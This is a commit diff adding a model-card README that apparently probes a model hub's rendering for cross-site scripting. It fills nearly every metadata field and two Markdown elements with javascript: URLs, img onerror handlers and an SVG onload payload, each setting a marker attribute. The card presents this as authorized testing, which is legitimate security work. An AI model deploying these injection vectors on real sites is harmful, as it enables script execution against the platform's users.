Add controlled URL sink probe

README.md

@@ -0,0 +1,45 @@
+---
+pipeline_tag: text-generation
+library_name: "javascript:document.documentElement.setAttribute('data-library-xss','YES')"
+license: other
+license_link: "https://example.com/hf-controlled-license-link-probe"
+metrics:
+  - "javascript:document.documentElement.setAttribute('data-metric-xss','YES')"
+thumbnail: "javascript:document.documentElement.setAttribute('data-thumbnail-xss','YES')"
+arxiv: "javascript:document.documentElement.setAttribute('data-arxiv-xss','YES')"
+doi: "javascript:document.documentElement.setAttribute('data-doi-xss','YES')"
+spaces:
+  - "javascript:document.documentElement.setAttribute('data-space-xss','YES')"
+widget:
+  - example_title: "<img id=widget-title-probe src=x onerror=document.documentElement.setAttribute('data-widget-title-xss','YES')>"
+    text: "CONTROLLED_WIDGET_TEXT_0910"
+    output:
+      text: "<img id=widget-output-probe src=x onerror=document.documentElement.setAttribute('data-widget-output-xss','YES')>"
+      url: "javascript:document.documentElement.setAttribute('data-widget-url-xss','YES')"
+model-index:
+  - name: "<img id=model-index-name-probe src=x onerror=document.documentElement.setAttribute('data-model-index-name-xss','YES')>"
+    results:
+      - task:
+          type: "javascript:document.documentElement.setAttribute('data-task-type-xss','YES')"
+          name: "<img id=task-name-probe src=x onerror=document.documentElement.setAttribute('data-task-name-xss','YES')>"
+        dataset:
+          type: "authormist/url-sink-controlled-probe"
+          name: "<img id=result-dataset-name-probe src=x onerror=document.documentElement.setAttribute('data-result-dataset-name-xss','YES')>"
+          args:
+            split: "<img id=split-probe src=x onerror=document.documentElement.setAttribute('data-split-xss','YES')>"
+        metrics:
+          - type: "javascript:document.documentElement.setAttribute('data-result-metric-type-xss','YES')"
+            name: "<img id=result-metric-name-probe src=x onerror=document.documentElement.setAttribute('data-result-metric-name-xss','YES')>"
+            value: 1
+tags:
+  - tensorboard
+  - "url-sink-controlled-probe"
+---
+
+# Controlled model-card URL sink probe
+
+All values in this model are inert researcher-owned markers for authorized testing.
+
+[Markdown JavaScript marker](javascript:document.documentElement.setAttribute('data-markdown-link-xss','YES'))
+
+![Markdown data SVG marker](data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20onload='document.documentElement.setAttribute(%22data-markdown-image-xss%22,%22YES%22)'/%3E)